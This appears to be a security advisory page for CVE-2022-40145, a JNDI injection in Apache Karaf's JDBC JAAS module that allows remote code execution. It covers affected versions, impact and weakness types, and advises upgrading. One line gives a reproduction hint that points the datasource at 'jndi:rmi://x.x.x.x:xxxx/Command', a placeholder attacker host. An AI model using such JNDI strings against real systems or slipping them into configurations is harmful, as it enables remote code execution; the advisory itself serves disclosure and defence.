Apache Karaf RCE via JNDI LDAP in JDBC URL (4.4.1)
CVE-2022-40145 Published on December 21, 2022
Apache Karaf: JDBC JAAS LDAP injection
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.
The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource
use InitialContext.lookup(jndiName) without filtering.
An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup.
This is vulnerable to a remote code execution (RCE) attack when a
configuration uses a JNDI LDAP data source URI when an attacker has
control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.
We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
Vulnerability Analysis
CVE-2022-40145 can be exploited with network access, and does not require authorization privileges or user interaction. This vulnerability is considered to have a low attack complexity. The potential impact of an exploit of this vulnerability is considered to be critical as this vulnerability has a high impact to the confidentiality, integrity and availability of this component.
Weakness Types
What is an Injection Vulnerability?
The software constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. Software has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very different ways and usually attempted in order to alter the control flow of the process. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.
CVE-2022-40145 has been classified to as an Injection vulnerability or weakness.
Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
Products Associated with CVE-2022-40145
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Affected Versions
Apache Software Foundation Apache Karaf:- Version 4.4.0 and below 4.4.2 is affected.
- Before 4.3.8 is affected.
Exploit Probability
EPSS (Exploit Prediction Scoring System) scores estimate the probability that a vulnerability will be exploited in the wild within the next 30 days. The percentile shows you how this score compares to all other vulnerabilities.